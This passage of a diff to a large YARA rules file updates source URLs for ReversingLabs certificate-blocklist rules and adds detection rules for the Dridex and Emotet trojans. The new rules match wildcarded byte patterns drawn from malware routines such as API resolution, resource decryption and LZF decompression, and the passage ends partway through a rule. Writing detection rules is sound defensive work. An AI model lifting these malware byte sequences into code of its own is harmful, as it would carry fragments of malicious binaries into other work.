@@ -24406,8 +24459,8 @@ rule REVERSINGLABS_Cert_Blocklist_21Bfddb6A66435D1Adce2Ceb23Ed7C9A : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L17088-L17104"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L17088-L17104"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "22ad68974a1c6729da369c26372ba93c25ddf68df880580c727bf2d3ee2d3a86"
 		score = 75
 		quality = 90
@@ -24431,8 +24484,8 @@ rule REVERSINGLABS_Cert_Blocklist_5B1C3F7Bbaa91Ca49B06A5C1004Ee5Be : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L17106-L17122"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L17106-L17122"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "9a8d9acc87668a6fbd9fdd52b6ef69d18de8f19d8f3d3ca8eeb630c6e8c25c65"
 		score = 75
 		quality = 90
@@ -24456,8 +24509,8 @@ rule REVERSINGLABS_Cert_Blocklist_0A2089 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L17124-L17140"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L17124-L17140"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "07ce4d39af1e56fbbfa400cf139956826999043480f93c0fc43ed056f6420d7f"
 		score = 75
 		quality = 90
@@ -24481,8 +24534,8 @@ rule REVERSINGLABS_Cert_Blocklist_1F84E030A0Ed10D5Ffe2B81B : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L17142-L17158"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L17142-L17158"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "097655cb2965ae71efb905ddf20ed30c240d25e03d08a1b6c87b472533ccc9d8"
 		score = 75
 		quality = 90
@@ -24506,8 +24559,8 @@ rule REVERSINGLABS_Cert_Blocklist_88346267057C0A82E2F39851D1B9694C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L17160-L17178"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L17160-L17178"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "60acdbad8ad3e1d4a863ce160d93abd0b5e2b214858cba84f7a1b907d2491486"
 		score = 75
 		quality = 90
@@ -24531,8 +24584,8 @@ rule REVERSINGLABS_Cert_Blocklist_A46F9D8784778Baa48167C48Bbc56F30 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L17180-L17198"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L17180-L17198"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "fffb6309355bc6764b0ab033db5964599c86c9a2f6d8985975a07f6b3ebb40ed"
 		score = 75
 		quality = 90
@@ -24556,8 +24609,8 @@ rule REVERSINGLABS_Cert_Blocklist_525B5529Db20D17A85Be284D6B7952Ea : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L17200-L17216"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L17200-L17216"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "8fd406004b634e4826659b1dff88c61074fd321969b9fd63ea45d8e9608b35f1"
 		score = 75
 		quality = 90
@@ -24581,8 +24634,8 @@ rule REVERSINGLABS_Cert_Blocklist_70Ae0E517D2Ef6D5Eed06B56730A1A9A : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L17218-L17234"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L17218-L17234"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "017eed878daf706eb96b638a8d1f4428466bc1d00ce27f32628bd249a658a813"
 		score = 75
 		quality = 90
@@ -24606,8 +24659,8 @@ rule REVERSINGLABS_Cert_Blocklist_57C3717C5E2Ce9A2E0Cf0340C03F458E : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L17236-L17252"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L17236-L17252"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "fd710146874528c43ad8a9f847b7704c44ba4564cf79e20e6b23aa98b0ee2ea5"
 		score = 75
 		quality = 90
@@ -24631,8 +24684,8 @@ rule REVERSINGLABS_Cert_Blocklist_0761110Efe0B688C469D687512828C1F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L17254-L17270"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L17254-L17270"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "0ba60e1f58c7335ba5aa261031d09ee83a0ee51e05f8f26078b2a5c776ad0add"
 		score = 75
 		quality = 90
@@ -24656,8 +24709,8 @@ rule REVERSINGLABS_Cert_Blocklist_08Aa03F385F870E3A6D243B74B1Dadf6 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L17272-L17288"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L17272-L17288"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ef49a28a93d31c55dd2dfd3bec645f757a0a1a7eb8718ce92cf47bf9af126aed"
 		score = 75
 		quality = 90
@@ -24670,6 +24723,722 @@ rule REVERSINGLABS_Cert_Blocklist_08Aa03F385F870E3A6D243B74B1Dadf6 : INFO FILE
 	condition:
 		uint16(0)==0x5A4D and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xE4\\xB8\\x9C\\xE8\\x8E\\x9E\\xE5\\xB8\\x82\\xE8\\x85\\xBE\\xE4\\xBA\\x91\\xE8\\xAE\\xA1\\xE7\\xAE\\x97\\xE6\\x9C\\xBA\\xE7\\xA7\\x91\\xE6\\x8A\\x80\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures[i].serial=="08:aa:03:f3:85:f8:70:e3:a6:d2:43:b7:4b:1d:ad:f6" and 1352678400<=pe.signatures[i].not_after)
 }
+rule REVERSINGLABS_Win32_Trojan_Dridex : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Dridex trojan."
+		author = "ReversingLabs"
+		id = "bc68aca1-69e6-57e6-9277-70c89fda1e5d"
+		date = "2020-09-16"
+		modified = "2020-09-16"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/trojan/Win32.Trojan.Dridex.yara#L1-L80"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "7eddc8f33846dfb61302b7d7fddd8dec59a1bde05b14135c14131a02e2c19600"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Trojan"
+		tc_detection_name = "Dridex"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$resolve_api_wrapper_1 = {
+            56 57 8B FA 8B F1 8B CF E8 ?? ?? ?? ?? 85 C0 75 ?? 81 FE ?? ?? ?? ?? 75 ?? 33 C0 5F
+            5E C3 8B CE E8 ?? ?? ?? ?? 85 C0 75 ?? 8B CE E8 ?? ?? ?? ?? 84 C0 74 ?? 8B CE E8 ??
+            ?? ?? ?? 85 C0 74 ?? 8B D7 ?? ?? ?? ?? E9
+        }
+		$resolve_api_wrapper_2 = {
+            57 53 8B FA 8B D9 8B CF E8 ?? ?? ?? ?? 85 C0 75 ?? 81 FB ?? ?? ?? ?? 74 ?? 8B CB E8
+            ?? ?? ?? ?? 85 C0 74 ?? 8B C8 8B D7 E8 ?? ?? ?? ?? 5B 5F C3 8B CB E8 ?? ?? ?? ?? 84
+            C0 74 ?? 8B CB E8 ?? ?? ?? ?? 85 C0 75 ?? 33 C0 EB
+        }
+		$resolve_api_wrapper_3 = {
+            55 8B EC 57 8B 7D ?? 57 E8 ?? ?? ?? ?? 85 C0 75 ?? 56 8B 75 ?? 81 FE ?? ?? ?? ?? 74
+            ?? 56 E8 ?? ?? ?? ?? 85 C0 75 ?? 8B CE E8 ?? ?? ?? ?? 84 C0 74 ?? 56 E8 ?? ?? ?? ??
+            85 C0 75 ?? 5E 33 C0 5F 5D C2 ?? ?? 57 50 E8 ?? ?? ?? ?? 5E 5F 5D C2
+        }
+		$resolve_api_wrapper_4 = {
+            55 8B EC FF 75 ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 56 8B 75 ?? 81 FE ?? ?? ?? ?? 74 ?? 56
+            E8 ?? ?? ?? ?? 85 C0 75 ?? 8B CE E8 ?? ?? ?? ?? 84 C0 74 ?? 56 E8 ?? ?? ?? ?? 85 C0
+            74 ?? 5E 89 45 ?? 5D E9
+        }
+		$find_first_file_snippet_1 = {
+            53 56 8B F1 57 33 DB 32 C9 89 5E ?? 33 FF E8 ?? ?? ?? ?? 83 38 ?? 7C ?? [4-6] BA ??
+            ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 4E ?? 57 6A ?? 6A ?? 8D 56 ??
+            52 53 51 FF D0
+        }
+		$find_first_file_snippet_2 = {
+            57 53 55 8B E9 33 C9 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ??
+            ?? 8B 18 E8 ?? ?? ?? ?? 8B C8 85 C9 74 ?? 33 D2 83 FB ?? 6A ?? 5B 8D 7D ?? 0F 4C DA
+            8B C2 53 52 52 57 0F 9D C0 50 FF 75 ?? FF D1
+        }
+		$find_first_file_snippet_3 = {
+            53 56 8B F1 33 DB 57 32 C9 89 5E ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B
+            38 E8 ?? ?? ?? ?? 8B D0 85 D2 74 ?? 6A ?? 33 C0 83 FF ?? 59 0F 4C C8 8D 46 ?? 51 53
+            53 50 33 C0 83 FF ?? 0F 9D C0 50 FF 76 ?? FF D2
+        }
+		$find_first_file_snippet_4 = {
+            53 56 8B F1 57 33 DB 32 C9 89 5E ?? 33 FF E8 ?? ?? ?? ?? 83 38 ?? 7C ?? 8D 7B ?? 8D
+            5F ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 4E ?? 57 6A ?? 6A
+            ?? 8D 56 ?? 52 53 51 CC C3
+        }
+		$find_first_file_snippet_5 = {
+            56 8B F1 32 C9 57 C7 46 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ??
+            8B 38 E8 ?? ?? ?? ?? 8B D0 85 D2 74 ?? 33 C0 B9 ?? ?? ?? ?? 83 FF ?? 0F 4C C8 51 50
+            50 8D 46 ?? 50 33 C0 83 FF ?? 0F 9D C0 50 FF 76 ?? FF D2
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ( any of ($resolve_api_wrapper_*) and any of ($find_first_file_snippet_*))
+}
+rule REVERSINGLABS_Win32_Trojan_Emotet : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Emotet trojan."
+		author = "ReversingLabs"
+		id = "9742743d-753a-582b-9701-7278c8ed0e4e"
+		date = "2021-11-16"
+		modified = "2021-11-16"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/trojan/Win32.Trojan.Emotet.yara#L1-L182"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "747d603c9849a66782c95050a4a634ffdb4ce2882adcfc5d63e1f1ea1651b25e"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Trojan"
+		tc_detection_name = "Emotet"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$decrypt_resource_v1 = {
+            55 8B EC 83 EC ?? 53 8B D9 8B C2 56 57 89 45 ?? 8B 3B 33 F8 8B C7 89 7D ?? 83 E0 ??
+            75 ?? 8D 77 ?? EB ?? 8B F7 2B F0 83 C6 ?? 8D 0C 36 E8 ?? ?? ?? ?? 8B D0 89 55 ?? 85
+            D2 74 ?? 83 65 ?? ?? 8D 43 ?? 83 65 ?? ?? C1 EE ?? 8D 0C B0 8B F2 8B D9 2B D8 83 C3
+            ?? C1 EB ?? 3B C1 0F 47 5D ?? 85 DB 74 ?? 8B 55 ?? 8B F8 8B 0F 8D 7F ?? 33 CA 0F B6
+            C1 66 89 06 8B C1 C1 E8 ?? 8D 76 ?? 0F B6 C0 66 89 46 ?? C1 E9 ?? 0F B6 C1 66 89 46
+            ?? C1 E9 ?? 0F B6 C1 66 89 46 ?? 8B 45 ?? 40 89 45 ?? 3B C3 72 ?? 8B 7D ?? 8B 55 ??
+            33 C0 66 89 04 7A 5F 5E 8B C2 5B 8B E5 5D C3
+        }
+		$generate_filename_v1 = {
+            56 57 33 C0 BF ?? ?? ?? ?? 57 50 50 6A ?? 50 FF 15 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 8B F0 56 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ??
+            ?? 83 C4 ?? 8B CE 5F 5E E9
+        }
+		$decrypt_resource_v2 = {
+            55 8B EC 83 EC ?? 8B 41 ?? 8B 11 33 C2 53 56 8D 71 ?? 89 55 ?? 8D 58 ?? 89 45 ?? 83
+            C6 ?? F6 C3 ?? 74 ?? 83 E3 ?? 83 C3 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ??
+            8B C8 E8 ?? ?? ?? ?? FF D0 8D 14 1B B9 ?? ?? ?? ?? 52 6A ?? 50 E8 ?? ?? ?? ?? BA ??
+            ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? FF D0 89 45 ?? 85 C0 74 ?? C1 EB ?? 8B C8 57 33 C0 8D
+            14 9E 33 DB 8B FA 2B FE 83 C7 ?? C1 EF ?? 3B F2 0F 47 F8 85 FF 74 ?? 8B 16 8D 49 ??
+            33 55 ?? 8D 76 ?? 0F B6 C2 43 66 89 41 ?? 8B C2 C1 E8 ?? 0F B6 C0 66 89 41 ?? C1 EA
+            ?? 0F B6 C2 66 89 41 ?? C1 EA ?? 0F B6 C2 66 89 41 ?? 3B DF 72 ?? 8B 45 ?? 33 D2 8B
+            4D ?? 5F 66 89 14 41 8B C1 5E 5B 8B E5 5D C3
+        }
+		$generate_filename_v2 = {
+            55 8B EC 81 EC ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 51 6A ?? B9 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? FF D0 85 C0 0F 88 ?? ?? ?? ?? 56
+            B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B F0 8D 85 ?? ?? ?? ?? 8D [1-5] 51
+            51 50 56 8D [1-5] 68 ?? ?? ?? ?? 51 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B
+            C8 E8 ?? ?? ?? ?? FF D0 83 C4 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8
+            E8 ?? ?? ?? ?? FF D0 56 6A ?? 50 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8
+            E8 ?? ?? ?? ?? FF D0 B8 ?? ?? ?? ?? 5E 8B E5 5D C3 33 C0 8B E5 5D C3
+        }
+		$decrypt_resource_v3 = {
+            56 8B F1 BA [6-9] B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 FF D0 56 6A ?? 50 68 ?? ?? ?? ??
+            BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 FF D0 5E C3
+        }
+		$generate_filename_v3 = {
+            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8B F1 8B FA 6A ?? 8D 4D ?? E8 ?? ?? ?? ?? BB ??
+            ?? ?? ?? 8D 8D ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 53 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83
+            C4 ?? 8D 85 ?? ?? ?? ?? BB ?? ?? ?? ?? 8B D3 56 50 BE ?? ?? ?? ?? [2-5] 8B CE E8 ??
+            ?? ?? ?? 59 FF D0 57 8D 85 ?? ?? ?? ?? 8B D3 50 [2-5] 8B CE E8 ?? ?? ?? ?? 59 FF D0
+            8D 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 45 ?? BA ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? B9
+            ?? ?? ?? ?? 89 45 ?? B8 ?? ?? ?? ?? 66 89 45 ?? 8D 45 ?? 50 68 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 59 FF D0 F7 D8 5F 1B C0 5E 40 5B 8B E5 5D C3
+        }
+		$decrypt_resource_v4 = {
+            56 57 8B FA E8 ?? ?? ?? ?? 8B F0 A1 ?? ?? ?? ?? 85 C0 75 ?? B9 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 56 FF D0 8B 0D ?? ?? ?? ??
+            89 44 B9 ?? A1 ?? ?? ?? ?? 85 C0 75 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ??
+            8B C8 E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF D0 8B F8 A1 ?? ?? ?? ?? 85 C0 75 ?? B9 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 56 6A ?? 57
+            FF D0 5F 5E C3
+        }
+		$generate_filename_snippet_v4 = {
+            A1 ?? ?? ?? ?? 85 C0 75 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ??
+            ?? ?? ?? A3 ?? ?? ?? ?? 56 53 FF D0 A1 ?? ?? ?? ?? 85 C0 75 ?? B9 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 56 FF D0 5F 5E 33 C9 8D
+            04 43 66 89 08 5D 5B 59 C3
+        }
+		$decrypt_resource_snippet_v5 = {
+            C1 EE ?? 33 C0 55 33 ED 8B D3 8D 0C B7 8B F1 2B F7 83 C6 ?? C1 EE ?? 3B F9 0F 47 F0
+            85 F6 74 ?? 8B 5C 24 ?? 8B 0F 8D 7F ?? 33 CB 0F B6 C1 66 89 02 8B C1 C1 E8 ?? 8D 52
+            ?? 0F B6 C0 66 89 42 ?? C1 E9 ?? 0F B6 C1 C1 E9 ?? 45 66 89 42 ?? 0F B6 C1 66 89 42
+            ?? 3B EE 72 ?? 8B 5C 24 ?? 8B 44 24 ?? 33 C9 5D 66 89 0C 43 5F 5E 8B C3 5B 83 C4 ??
+            C3
+        }
+		$decrypt_resource_snippet_v6 = {
+            C1 EE ?? 33 C0 55 33 ED 8B D3 8D 0C B7 8B F1 2B F7 83 C6 ?? C1 EE ?? 3B F9 0F 47 F0
+            85 F6 74 ?? 8B 5C 24 ?? 8B 0F 8D 7F ?? 33 CB 88 0A 8B C1 C1 E8 ?? 8D 52 ?? C1 E9 ??
+            88 42 ?? 88 4A ?? C1 E9 ?? 45 88 4A ?? 3B EE 72 ?? 8B 5C 24 ?? 8B 44 24 ?? 5D C6 04
+            03 ?? 5F 5E 8B C3 5B 83 C4 ?? C3
+        }
+		$liblzf_decompression_1 = {
+            83 EC ?? 8B 44 24 ?? 53 55 8D 2C 11 89 4C 24 ?? 8B 54 24 ?? 33 DB 03 C2 89 6C 24 ??
+            56 89 44 24 ?? 0F B6 41 ?? 8D 72 ?? 0F B6 11 C1 E2 ?? 0B D0 8D 45 ?? 89 44 24 ?? 57
+            8B F9 3B C8 0F 83 ?? ?? ?? ?? 0F B6 47 ?? C1 E2 ?? 0B D0 6B C2 ?? 8B CA C1 E9 ?? 33
+            CA 89 54 24 ?? 8B 54 24 ?? C1 E9 ?? 2B C8 8B 44 24 ?? 81 E1 ?? ?? ?? ?? 8B 2C 88 8B
+            C7 2B 44 24 ?? 03 6C 24 ?? 89 04 8A 8B C7 8B 54 24 ?? 2B C5 48 89 44 24 ?? 3D ?? ??
+            ?? ?? 0F 8D ?? ?? ?? ?? 3B EA 0F 86 ?? ?? ?? ?? 8A 45 ?? 3A 47 ?? 0F 85 ?? ?? ?? ??
+            0F B6 55 ?? 8D 4F ?? 0F B6 45 ?? 89 4C 24 ?? 0F B6 09 C1 E2 ?? 0B D0 C1 E1 ?? 0F B6
+            07 0B C8 3B D1 0F 85 ?? ?? ?? ?? 8B 44 24 ?? B9 ?? ?? ?? ?? 2B C7 3B C1 6A ?? 0F 47
+            C1 89 44 24 ?? 8D 46 ?? 5A 3B 44 24 ?? 72 ?? 33 C9 8B C6 85 DB 0F 94 C1 2B C1 83 C0
+            ?? 3B 44 24 ?? 0F 83 ?? ?? ?? ?? 8B C6 8D 4B ?? 2B C3 88 48 ?? 33 C0 85 DB 8B 5C 24
+            ?? 0F 94 C0 2B F0 83 FB ?? 0F 86 ?? ?? ?? ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 0F 85 ?? ??
+            ?? ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 0F 85 ?? ?? ?? ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 0F 85
+            ?? ?? ?? ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 0F 85 ?? ?? ?? ?? 8A 45 ?? 6A ?? 5A 3A 47
+        }
+		$liblzf_decompression_2 = {
+            0F 85 ?? ?? ?? ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 0F 85 ?? ?? ?? ?? 8A 45 ?? 6A ?? 5A 3A
+            47 ?? 75 ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 75 ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 75 ?? 8A 45
+            ?? 6A ?? 5A 3A 47 ?? 75 ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 75 ?? 8A 45 ?? 6A ?? 5A 3A 47
+            ?? 75 ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 75 ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 75 ?? 8A 45 ??
+            6A ?? 5A 3A 47 ?? 75 ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 75 ?? 8D 0C 3A 2B EF 42 41 3B D3
+            73 ?? 8A 04 29 3A 01 74 ?? 8B 5C 24 ?? 83 EA ?? 83 FA ?? 73 ?? 8B CB 8A C2 C1 F9 ??
+            C0 E0 ?? 02 C8 88 0E 46 EB ?? 8B C3 C1 F8 ?? 2C ?? 88 06 8D 42 ?? 88 46 ?? 83 C6 ??
+            8B 7C 24 ?? 8B 44 24 ?? 47 88 1E 03 FA 33 DB 83 C6 ?? 3B F8 72 ?? 8B 6C 24 ?? 8D 46
+            ?? 3B 44 24 ?? 76 ?? 33 C0 EB ?? 3B 74 24 ?? 73 ?? 8A 07 43 88 06 46 8B 44 24 ?? 47
